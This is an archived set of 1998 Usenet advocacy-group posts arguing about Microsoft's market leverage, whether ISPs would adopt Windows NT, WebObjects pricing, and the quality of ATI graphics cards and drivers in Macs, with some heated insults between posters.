>absolutely established even before Windows was introduced, and there
>were many fine, if rudimentary, products. But the ten years of
>advancement would have been just as long, if not much busier, regardless
>of whether Windows was the OS on those desktops.
It doesn't matter whether you talk about Office or the Internet. If users
perceive IE 5 on Windows 98 as being the way to be compatable with the
internet, then people will buy Windows to have that compatability.
>People don't buy a PC to use Windows. They buy Windows to use a PC.
They buy Windows to use Office. Plain and simple.
>>Consider a world where we have the MacOS and OS/2 and Windows and Linux
>>and so on, but no MS apps. We'd likely still have Lotus and WP around
>>writing our apps but likely no OS would have that 'compatability'
>>influence that Windows has now. The fight in the OS space would be
>>specifically for that - compatability, much as it is for Apple right
>>now...
>
>No, it shouldn't be. The fight in the OS should be connectivity, and
>application support. Let the apps battle over file format compatibility
>on their own; there's no reason for that to have anything to do with the
>OS.
_should be_, but isn't. MS has made file format compatability a component
of the OS decision process. They will do the same for internet
compatability. I agree with you on principle, but MS understands that
Office is a big key to Windows sales and so they make that a necessary
connection. Soon 'Office' will be replaced by 'Internet' in this
equation...
The problem is that had MS not existed, the company that would have made
the internet easier to access would likely not have tied it so strongly to
one OS. Rather, they would have layered their solution on top of all of
the OSes of the day. Netscape tries to do that. MS has as well, but always
with a serious preference to Windows... MS is therefore able to steer
internet users to Windows and use that leverage to improve the internet
access by simplifying the options available. Right now MS is telling ISPs
that within 2 years they *will* be running NT, not unix. That will have
the effect of streamlining what MS needs to do to solve a given problem -
put in in NT, put it in IE, problem solved since unix is out of the way
and Netscape is out of the way. Now, a company that didn't have an OS to
tie the internet access to would have to do the same things that MS is
doing, but they'd have to do a lot more work to support all the browsers
and all the platforms. That might sound bad, but the end result would be a
more robust solution than what we are moving toward.
-Bob Cassidy
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: ISP's run NT? Hogwash!
Date: 24 Jun 1998 01:22:58 GMT
Organization: The World's Usenet -- http://www.Supernews.com
Message-ID: <6mpkdi$6on$1@supernews.com>
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<6mkoqh$8lp$1@nnrp1.dejanews.com> <petrichEuyx44.Lx8@netcom.com>
<rmcassid-2306980033330001@dialin9231.slip.uci.edu> <35b01a7f.29824100@news.supernews.com>
<rmcassid-2306981751480001@dante.eng.uci.edu>
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Cc: rmcassid@uci.edu
Robert Cassidy may or may not have said:
-> Right now MS is telling ISPs that within 2 years they *will* be running
-> NT, not unix.
If any ISP's actually try to use NT to serve their dial-up or ISDN cutomers,
they'll be weeded out rather quickly, just like all the BBS operators who
tried to pretend that they offered a net connection just because they could
take e-mail, and a newsfeed.
People who run ISP's, for the most part, are much more savvy than the typical
IT drone in a medium-sized company. They have to be: the ISP's are on the
front lines of host security and reliability problems, and that's why they
run Linux if they're clueful, BSDI if they're clueful and have some money,
FreeBSD if they're even more clueful and don't have money.
If I were an ISP, and MIcroSquish sauntered up to me and said: "Within two
years, you *will* be running NT, not UNIX." I'd say: "The only way you can
make me do that, is to buy this company of mine." and think to myself:
"Yeah, right. Just like Hotmail!"
The long and short of it is, NT isn't good enough for anything but
file-serving for Windoze 95 clients *behind* a firewall or on an isolated
LAN. Hell, it's not even as good as a Linux box running SAMBA for that
purpose!
-jcr
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: ISP's run NT? Hogwash!
Date: 24 Jun 1998 01:55:04 GMT
Organization: I don't think so
Message-ID: <slrn6p0nao.g5.jason@jhste1.dyn.ml.org>
References: <rmcassid-1805981307530001@dante.eng.uci.edu> <6mh0iv$e25$1@nnrp1.dejanews.com> <6mkoqh$8lp$1@nnrp1.dejanews.com> <petrichEuyx44.Lx8@netcom.com> <rmcassid-2306980033330001@dialin9231.slip.uci.edu> <35b01a7f.29824100@news.supernews.com> <rmcassid-2306981751480001@dante.eng.uci.edu> <6mpkdi$6on$1@supernews.com>
John C. Randolph posted the following to comp.sys.mac.advocacy:
>If any ISP's actually try to use NT to serve their dial-up or ISDN cutomers,
>they'll be weeded out rather quickly, just like all the BBS operators who
>tried to pretend that they offered a net connection just because they could
>take e-mail, and a newsfeed.
I deal with a law firm that uses an ISP that has NT servers. Fun stuff.
For example, the damn mailserver doesn't assign a unique message ID to
each mailing - it _always_ uses the same one. Which forced me to remove
my duplicate message ID procmail filter...
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
Message-ID: <35906A1C.1C1DE66F@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net> <slrn6oghra.36q.sal@panix3.panix.com> <358B2D0A.3A11775@spamtoNull.com> <slrn6or9aj.h0d.sal@panix3.panix.com> <358E8686.FEBF1301@spamtoNull.com> <slrn6ot8e6.mvv.sal@panix3.panix.com>
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Date: Wed, 24 Jun 1998 02:49:02 GMT
NNTP-Posting-Date: Wed, 24 Jun 1998 02:49:02 GMT
Organization: MCI2000
Salvatore Denaro wrote:
>
> Please list what is a good judge of value. Your circular agruments and
> strawmen can stay home.
>
> >take them *all* with a large grain of salt. When you've *personally*
> >worked with a wide variety of manufacturers' products then you actually
> >know something of some worth.
>
> Odd, In the June '98 issue of Boot, Sony's VP in charge of it's VAIO
> line of PCs, Wataru Ogawa had this to say about the ATI card:
>
> "We are always evaluating the best match for our PCs. So far we have
> selected ATI accelerators because they deliver a complete 2d/3d AGP
> graphics solution."
>
> I think Mr Ogawa's word is worth more than yours.
Try Tom's hardware page. BTW, Mr. "Ogawa" is, of course, biased. He's
promoting their products, isn't he? Frankly, if you equate advertising
hype with "truth" you are little more than a "sucker" and a dupe for
these companies. But, hey, to each his own...
>
> >Right. As I said in the beginning, the ATI chips cost less because they
> >deliver less, and believe me they deliver a lot less than 20%.
>
> Why should I take your word? You have not posted any proof of your
> claims. Post *your* list of objective comparison criteria and well do
> a fair comparison.
Again, try Tom's hardware page. The guy exhaustively tests lots of
things. He's just as turned off to ATI as I am. As to "why you should
take my word for it"---*I'm* not trying to sell you anything, am I?
Think about that for a moment.
>
> >Sorry, but the MG 200 Matrox series is slated for release *end of this
> >month!* Not 1999.
>
> Will is ship in machines priced in the $1299 range? I don't think so.
> Low end PCs tend to ship with ATI cards or s3 cards.
So, then, you are calling Apple's G3 desktops "low end?" I think you are
confused on this issue.
>
> >it shows. Look, if the ATI tech was *great* I'd cheerfully *say* it was
> >great and chalk the inclusion of ATI tech up as a positive for Apple.
>
> No your wouldn't. I've been reading your posts for a while. You never
> have anything positive to say about anything. You post FUD and outright
> lies and refuse to list facts when asked to do so.
I don't think it's me posting the "lies." Sorry.
Message-ID: <35906C9F.16454705@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net> <slrn6oghra.36q.sal@panix3.panix.com> <35886DDA.36EBE8F7@nstar.net> <slrn6oh598.p7f.sal@panix3.panix.com> <3588B000.8094E413@nstar.net> <slrn6ohebn.ss3.sal@panix3.panix.com> <358930F5.F2CF7C78@nstar.net> <slrn6oig4h.k93.sal@panix3.panix.com> <358B30C2.E146D498@spamtoNull.com> <slrn6or9od.h0d.sal@panix3.panix.com> <358E88AC.7AB7CCC6@spamtoNull.com> <slrn6ot93f.mvv.sal@panix3.panix.com>
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Date: Wed, 24 Jun 1998 02:59:44 GMT
NNTP-Posting-Date: Wed, 24 Jun 1998 02:59:44 GMT
Organization: MCI2000
Salvatore Denaro wrote:
>
> On Mon, 22 Jun 1998 16:34:55 GMT, Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> >Let's go through this slowly...if ATI does such a lousy job with X86
> >drivers for its products, why does that not give you pause concerneing
>
> Apple has better control of it's hardware than most PC vendors do. That's
> why.
What are you talking about? In this case, Apple is merely the OEM to the
ATI hardware. ATI makes it, develops it, writes the software for it and
does the R&D for it--*Not* Apple.
>
> According to who? I've read the review of the ATI cards on Tom's hrdware
> and on Anand's page. They make no mention to buggy drivers, with the
> excpetion of the OpenGL drivers. The OpenGL driver were listed as "beta"
My usual patience is wearing thin at this point. Sorry to say, but you
sound pathetically inexperienced. Do what I *did*--go out and *buy* the
ATI hardware and *test it yourself* and *find out for yourself.* That's
how I know what I know, and why I make the statements about ATI that I
make.
>
> Please post *where* you read that ATI ships buggy drivers. And I stil
> don't see any link between buggy PC drivers and the Mac drivers. Don't
> you think that Apple would invest the time needed to make sure they shipped
> solid drivers?
I didn't have to *read it*, dufus (sorry for that). I learned it through
bitter experience in a succession of ATI products over the last *SEVERAL
YEARS.* If you'd rather read advertising promotionals than testimonials
based on experience--well, I feel sorry for you. You've set yourself up
to be led around by the nose.
> >?????? This makes no sense that I can follow, sorry. How does the fact
> >that Apple has to debug ATI drivers equate to ATI being an excellent
> >choice for Apple?
>
> Why should they through away the time and effort they made in getting solid
> drivers for a video card?
What?
>
> 1) I've never seen *any* posts from Mac users saying otherwise.
> 2) Video cards are a very replacible system part. In order for ATI
> to keep it's #1 rating as an OEM part maker, it has to ship a
> good part. The PC industry can move from ATI to Permedia or whoever
> very quickly, but they are not.
> 3) The've had plenty of time to work with Apple.
>
I give up...:)
From: atlauren@uci.edu (Andrew Laurence)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Selling WO is hard work (was: Re: Next purchase a mistake)
Date: Tue, 23 Jun 1998 19:58:02 -0700
Organization: UC Irvine
Message-ID: <atlauren-2306981958020001@jungleland.acs.uci.edu>
References: <6mkd25$8c44@odie.mcleod.net> <6mmd18$d2e@newsb.netnews.att.com> <6mmhb7$eos$1@news.digifix.com> <slrn6ou6aj.h67.sal@panix3.panix.com> <rmcassid-2206982325590001@dialin9231.slip.uci.edu> <358FF7FC.2C9034DB@alum.mit.edu>
_3;X4o1Yg^$]=Oc\u
In article <358FF7FC.2C9034DB@alum.mit.edu>, Eric Hermanson
<eric@alum.mit.edu> wrote:
>> Apple has won a battle for me simply through it's pricing model. At the
>> university, if it costs less than $500, you really don't need to justify
>> the purchase. So WO gets slipped in sight unseen. Once it's in place and
>> running, who will argue?
>
>Unfortunately, the other 99% of the population (i.e. the non-educational
>customers) have to pay $25,000 for a full, unlimited server license to
>WebObjects.
Yup. Apple needs to realize that, if they want to have more than 60 .com
customers of WO, the pricing needs to come down into the Active Server
Pages and Cold Fusion strata.
--
Andrew Laurence atlauren@uci.edu
Office of Academic Computing http://www.oac.uci.edu/~atlauren/
UC Irvine
"Perceive the need."
Message-ID: <35906CE6.DEA2B5A8@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126>
<slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com>
<slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com>
<slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net>
<slrn6oghra.36q.sal@panix3.panix.com> <35886DDA.36EBE8F7@nstar.net>
<slrn6oh598.p7f.sal@panix3.panix.com> <3588B000.8094E413@nstar.net>
<slrn6ohebn.ss3.sal@panix3.panix.com> <358930F5.F2CF7C78@nstar.net>
<slrn6oig4h.k93.sal@panix3.panix.com> <358B30C2.E146D498@spamtoNull.com>
<slrn6or9od.h0d.sal@panix3.panix.com> <358E88AC.7AB7CCC6@spamtoNull.com> <6mlmac$cli$2@ns3.vrx.net>
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Date: Wed, 24 Jun 1998 03:00:55 GMT
NNTP-Posting-Date: Wed, 24 Jun 1998 03:00:55 GMT
Organization: MCI2000
Maury Markowitz wrote:
>
> > Then what. pray tell, makes you think the drivers are stable?
>
> a) they are
> b) no reason that they shouldn't be
>
Can you please explain the reason you think, "no reason they shouldn't
be?"
Message-ID: <35906DA4.95B91CE8@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net> <slrn6oghra.36q.sal@panix3.panix.com> <358B2D0A.3A11775@spamtoNull.com> <358BD202.1C45C63B@chem.uit.no> <slrn6or9e4.h0d.sal@panix3.panix.com> <358E86B9.5E41A912@spamtoNull.com> <slrn6ot9ba.mvv.sal@panix3.panix.com>
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Date: Wed, 24 Jun 1998 03:04:05 GMT
NNTP-Posting-Date: Wed, 24 Jun 1998 03:04:05 GMT
Organization: MCI2000
Salvatore Denaro wrote:
>
> On Mon, 22 Jun 1998 16:26:36 GMT, Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> >Not on the iMac, you can't. And that was the topic.
>
> When did anyone ever say that the iMac was to be all things to all users?
>
Nobody ever said that. We were talking about the iMac and how it was
being marketed by Jobs as a game machine. I remarked that it was a poor
game machine, then, since it was not upgradable to better gaming
hardware. Then *you* chimed in with remarks about 3dfx. Clearer now?
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 24 Jun 1998 02:46:47 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <35cb658a.49037902@news.supernews.com>
References: <rmcassid-1805981307530001@dante.eng.uci.edu> <6mh0iv$e25$1@nnrp1.dejanews.com> <6mkoqh$8lp$1@nnrp1.dejanews.com> <petrichEuyx44.Lx8@netcom.com> <rmcassid-2306980033330001@dialin9231.slip.uci.edu> <35b01a7f.29824100@news.supernews.com> <rmcassid-2306981751480001@dante.eng.uci.edu>
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rmcassid@uci.edu (Robert Cassidy), on Tue, 23 Jun 1998 17:51:48 -0700,
>In article <35b01a7f.29824100@news.supernews.com>, mdevlin@eltrax.com (T.
>Max Devlin) wrote:
>
>>I'm afraid I must disagree with your perception of the software world
>>prior to the MS monopoly. It also is a typical "cart-horse" issue that
>>you seem to believe that Microsoft is why all those people bought all
>>those PCs. The same magnitude of market would have been available, and
>>could possibly have been larger, for several competing vendors.
>
>I *don't* believe that MS is why people bought PCs. I belive that Office
>is why people bought Windows instead of some other OS. Had Office stayed
>true on the Mac from where it was born I imagine that the Mac would have
>been somewhat better adopted in an enterprise setting. Basically, had we
>stuck with Wordperfect and Lotus evolving the Office suite instead of MS,
>then they would have had to do a better job of cros-platform support, and
>we'd have more balanced platform options as a result.
It was my perception that the Office bundles which made Office 'free
with no refund' for a short time were responsible for "revitalizing" the
Office market on Windows. MS was actually losing ground, I thought. In
fact, it was when people started buying PCs to get Windows, cause they
thought it was going to go somewhere without them, that was when Office
really took over again.
It was Microsoft's continued support (though in retrospect, it seems
like "strong pseudo-support", but that's just me) of the Mac platform
that made the PC monopoly tolerable. I hoped that MS would develop apps
for other platforms, and other ISVs would develop apps for Windows.
Once all that was working, then MS would start making more apps for
Windows, after other ISVs started making apps for Mac. Call me crazy,
but I actually thought of this. Or said it, anyway, when my judgement
was asked. The whole thing with Claris and Mac brought up a lot of
questions.
It didn't last long.
By the time MS made their $150 million investment in Apple, my
suspension of disbelief was too strained. Then I became convinced that
people were buying PCs to get Windows, and that was too wrong. Its a
lie.
>It doesn't matter whether you talk about Office or the Internet. If users
>perceive IE 5 on Windows 98 as being the way to be compatable with the
>internet, then people will buy Windows to have that compatability.
>
>>People don't buy a PC to use Windows. They buy Windows to use a PC.
>
>They buy Windows to use Office. Plain and simple.
Well, obviously they use apps. And everybody needs simple office app
functionality. But they don't buy a PC to use _Office_. They buy a PC
to do wordprocessing. Well, they buy a microcomputer to do
wordprocessing.
They buy a PC to use Windows. They shouldn't. They should buy Windows
(if they want) to use a PC. And use that PC for anything they might
want....
--
T. Max Devlin
Hi-TECH Connections/Eltrax Systems
*****************************************************
- Opinions expressed are my own.
Anyone else may use them only in
accordance with licensing agreements. -
From: atlauren@uci.edu (Andrew Laurence)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: ISP's run NT? Hogwash!
Date: Tue, 23 Jun 1998 20:16:05 -0700
Organization: UC Irvine
Message-ID: <atlauren-2306982016050001@jungleland.acs.uci.edu>
References: <rmcassid-1805981307530001@dante.eng.uci.edu> <6mh0iv$e25$1@nnrp1.dejanews.com> <6mkoqh$8lp$1@nnrp1.dejanews.com> <petrichEuyx44.Lx8@netcom.com> <rmcassid-2306980033330001@dialin9231.slip.uci.edu> <35b01a7f.29824100@news.supernews.com> <rmcassid-2306981751480001@dante.eng.uci.edu> <6mpkdi$6on$1@supernews.com>
_3;X4o1Yg^$]=Oc\u
In article <6mpkdi$6on$1@supernews.com>, jcr.remove@this.phrase.idiom.com wrote:
>-> Right now MS is telling ISPs that within 2 years they *will* be running
>-> NT, not unix.
<snip>
>
>People who run ISP's, for the most part, are much more savvy than the typical
>IT drone in a medium-sized company.
Savvy technically, yes. Savvy in business also.
Customers want to use FrontPage for editing their web sites. The
customers want to use the nifty FrontPage "edit your web" functionality
which requires that the FP extensions be running on the web server. The
ISP, looking to serve the needs of their customers, installs the FP
extensions. Then the ISP discovers that they don't work well, and cause
their wonderful UNIX server(s) to behave in all sorts of untoward ways.
So they install an NT server in order to run the FP stuff in a peaceful fashion.
Make no mistake - five years ago, MS was gunning to take down Novell as
the premier NOS for business. That has been accomplished. Now they're
gunning for UNIX - ISPs are the easiest place in which to do that, because
the ISP's machine room is closely tied to the end customers' needs. Then
will follow UNIX in higher ed (already happening, by the way), then
Enterprise. Why do you think that MS announced the "UNIX Addon Pack for
NT" a while back?
--
Andrew Laurence atlauren@uci.edu
Office of Academic Computing http://www.oac.uci.edu/~atlauren/
UC Irvine
"Perceive the need."
Message-ID: <3590743F.F7B9CE6D@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net> <slrn6oghra.36q.sal@panix3.panix.com> <35886DDA.36EBE8F7@nstar.net> <slrn6oh598.p7f.sal@panix3.panix.com> <358B2EA3.58A5FA0F@spamtoNull.com> <slrn6or9ib.h0d.sal@panix3.panix.com> <358E87AC.E71448B3@spamtoNull.com> <slrn6ota05.mvv.sal@panix3.panix.com>
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Date: Wed, 24 Jun 1998 03:32:20 GMT
NNTP-Posting-Date: Wed, 24 Jun 1998 03:32:20 GMT
Organization: MCI2000
Salvatore Denaro wrote:
>
> On Mon, 22 Jun 1998 16:30:39 GMT, Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> >They should. Every new Mac gets ATI *software* tech, as well as the
> >hardware.
>
> This is pure fud. Can you post anything showing that the ATI drivers that
> Apple ships are buggy?
>
> >not to mention how bad the visual quality is by comparison.
>
> Liar.
Um....were you born a jerk, or is this just some recent personality
shift?
I've *owned* the GD thing! I've *owned* Rage II/Pro cards and setup many
machines with them. I owned ATI products FIVE YEARS AGO.
I'll wager my *experience* with this company's products *far* exceeds
your own. So you can be a nincompoop if you want to, but your
*ignorance* really shows.
>
> From http://www.tomshardware.com/atixpert.html
>
> "ATI's Rage Pro also offers a very good 3D image quality, making it the
> only other chip next to the 3Dfx Voodoo,"
Let me explain to you that 3d "image quality" also has to do with
something called "frame rate," dummy. If images move at slow, jerky
framerates they *don't look so good* compared to images that move
fluidly and naturally on the screen. Check out the *framrate* of the
Pro, AS REPORTED ON TOM'S HARDWARE PAGE. In some cases it's THREE
HUNDRED PERCENT OR MORE *SLOWER* than a 3dfx Voodoo2. I also own and
have owned Matrox products, Nvidia cards, S3 products, and several 3dfx
products. That's obviously a lot more than you have. *THAT'S* what I
base my comments on and ONLY that--my own EXPERIENCE with ACTUAL
HARDWARE.
That way, I don't have to constantly refer to what THE OWNERS OF THE
COMPANY TRYING TO SELL THE PRODUCTS have to say, like you do.
Lawdy...whew!
>
> The ATI card has *tons* of glowing reviews. It is a big seller. It is the
> perferd OEM part in a highly competive industry. If it was as bad as you
> claim it is, the PC industry would have dumped it by now.
That's because it is CHEAP, dummy. C-H-E-A-P. OEMS, including Apple in
this case, LUV "cheap!" Or didn't you know that, too?
>
> This is what Tom of http://www.tomshardware.com/ thinks of the card you
> trashed:
>
> "A very good 3D paired with a very good 2D performance, the support of 4
> and 8 MB onboard RAM, hence the support of up to 1280x1024 3D resolution
> and last but not least the optional TV output make this card a very good
> all-round solution, apealing to gamers as well as professionals ... as
> long as you don't require OpenGL."
>
The TV ouput stinks--have you ever SEEN it? I have. NOT impressed.
1024X768 3D on the Pro CREEPS, it *is* that slow. And, whether you know
it or not (obviously you don't) OPEN GL is the biggest thing right now
in 3D! EVERYBODY is striving to do Open GL drivers for their cards. But
as Tom says, the Pro is TERRIBLE at Open GL. Gracious...get your nose
out from under the rear ends of PR people and advertising hype, reach
into your wallet, and SPEND SOME OF YOUR OWN MONEY AND YOUR OWN TIME and
BUY differnt types of hardware and TEST THEM FOR YOURSELF.
I've had, over the years, more TROUBLE with ATI software drivers than
all of the other cards I've owned put together! They have consistently
been BUGGY--VERY buggy! Compared to Matrox, for instance, wherin the
bugs are few and far in between.
I WON"T BUY AN ATI CARD TODAY AT ANY PRICE. That's how *bad* I think
they are, based on my own experience through the YEARS.
Try reading some more on Tom's hardware page. Read about how ATI
*CHEATED* its drivers to report GREAT benchmark numbers that DO NOT SHOW
UP IN REAL WORLD PERFORMANCE TESTING. Tom has personally verified that
for himself, as well as I and *MANY* others.
Go ahead, be a miserable dupe if you want. It's no skin off my nose.
From: "Ziya Oz" <ziyaoz@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Next purchase a mistake
Date: Tue, 23 Jun 1998 23:30:22 -0400
Organization: BM
Message-ID: <6mprjv$n84$1@chile.it.earthlink.net>
References: <6mkd25$8c44@odie.mcleod.net>
<rmcassid-2206981028290001@dante.eng.uci.edu>
<6mm8nd$h53@nntp02.primenet.com>
<rmcassid-2206982322430001@dialin9231.slip.uci.edu>
<6moe3c$g96@nntp02.primenet.com>
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John Jensen <jjens@primenet.com> wrote:
>If you, as a Mac
>user are not willing to explore an alternate logic, why did Apple buy one
>from Next?
To make it work like a Mac?
Ziya Oz
Message-ID: <3590761C.54BC4A9D@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Games and the consumer market.
References: <jdoherty-1306980132070001@aus-tx22-02.ix.netcom.com> <B1A80B74-46BBE@206.165.43.23> <jdoherty-1406980213150001@san-tx3-06.ix.netcom.com> <slrn6o7p0o.sk2.sal@panix3.panix.com> <35848D6B.B7C60F36@spamtoNull.com> <slrn6o9557.av9.sal@panix3.panix.com> <35852FC2.1433BE70@spamtoNull.com> <6m90a6$6u9$2@news.spacelab.net> <358B2BD3.BCC40A76@spamtoNull.com> <6mmbpp$ni3$1@news.spacelab.net>
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Date: Wed, 24 Jun 1998 03:40:14 GMT
NNTP-Posting-Date: Wed, 24 Jun 1998 03:40:14 GMT
Organization: MCI2000
Charles W. Swiger wrote:
>
> > Here's a simple way to tell the difference. A computer is open-ended.
> > The user determines what it does by the type of software he chooses
> > to run.
>
> Is the Intel-based machine running OS/2 inside a ATM (Cash station, MAC,
> whatever) not a computer, then? The user doesn't get to choose what software
> runs.
Oh, really...for the purposes of this discussion, do you really think an
ATM is relevant? Come on...
>
> What about a kiosk machine (I've seen Macs and PC's), displaying a guided
> tour, or a providing inventory access (say in a music store)?
You know, it seemed to me that we were discussing consumer-class
computers available in the retail and direct markets. When did the topic
move to "What is a computer?".....?
>
> What about the computers inside a jet airplane? Are they not computers
> because the pilots don't (can't) change the software these dedicated
> real-time systems run? Or how about the controlling systems in a nuclear
> power plant?
....Um...ditto the above....:)
>
> > The Play Station is a *game console.*
>
> Agreed. Why are game consoles not computers?
Um....because they're *game consoles?*
>
> By all accounts, playing games is one of the most popular activities
> computers are used for. What else do most people use 3D hardware
> acceleration for, anyway?
Mmmmm....how about video editing, animation creation, etc,...both of
which I've done with "computers" for years. I can't wait for you to tell
me how that's done in a "jet plane" or at my local ATM or even better
yet--on a Playstation...:)
Message-ID: <35907675.AB967C80@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net> <slrn6oghra.36q.sal@panix3.panix.com> <see-below-1706981807140001@dynamic62.pm07.mv.best.com> <slrn6oh5t5.p7f.sal@panix3.panix.com> <358B2F85.1053B40@spamtoNull.com> <joe.ragosta-2006980714560001@elk32.dol.net> <358DA154.6CD1B486@spamtoNull.com> <joe.ragosta-2206980635560001@elk68.dol.net> <358E8E31.F8AB0298@spamtoNull.com> <joe.ragosta-2206981340500001@wil65.dol.net>
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Date: Wed, 24 Jun 1998 03:41:42 GMT
NNTP-Posting-Date: Wed, 24 Jun 1998 03:41:42 GMT
Organization: MCI2000
Joe Ragosta wrote:
> > >
> >
> >
> > Actually, again, it's you who are wrong. Apple has what's known as
> > "buying requirements"--these are matters relating to orders, quantity
> > buying, delivery times, and so forth. Simply put, Apple buys the
> > cheapest chips it can from a manufacturer who can *deliver* them within
> > the schedules and quantities Apple requires. Who knows? Maybe Apple
> > approached S3 and couldn't get a deal Jobs could live with. Do you know?
>
> Wrong. Apple may buy the least expensive chips that meet their product
> requirements. Admit it--you were wrong. You have no way of knowing if the
> ATI Rage II chip was the least expensive chip or if that's why Apple
> bought it.
>
????? Ya' lost me, Joe....:)
Message-ID: <359076CE.30A2ADC3@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net> <slrn6oghra.36q.sal@panix3.panix.com> <358B2D0A.3A11775@spamtoNull.com> <slrn6or9aj.h0d.sal@panix3.panix.com> <358E8686.FEBF1301@spamtoNull.com> <slrn6ot8e6.mvv.sal@panix3.panix.com> <358EB8A6.FD78CBF5@chem.uit.no>
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Date: Wed, 24 Jun 1998 03:43:11 GMT
NNTP-Posting-Date: Wed, 24 Jun 1998 03:43:11 GMT
Organization: MCI2000
Jostein Johansen wrote:
> >
>
> At least you can throw in a 3DFx card in your lowcost PC if you get sick
> of the crappy 3D-preformance from vendors like ATI. If you look at some
> hardwaretest sites like http://www.anandtech.com/3dvidacc.html or
> http://www.tomshardware.com/3dchip0498.html you will notice that ATI has
> a decent 2D-performance, but more or less useless 3D-performance in
> games (in many tests its the SLOWEST chipset around). And as stated
> before in this thread ATI has a reputation of delivering unstable
> drivers (if you ever read newsgroups like comp.sys.ibm.pc.hardware.video
> you would have known this)
>
> Regards
>
> Jostein
>
Well, maybe Denaro will believe *you*, but I doubt it....:)
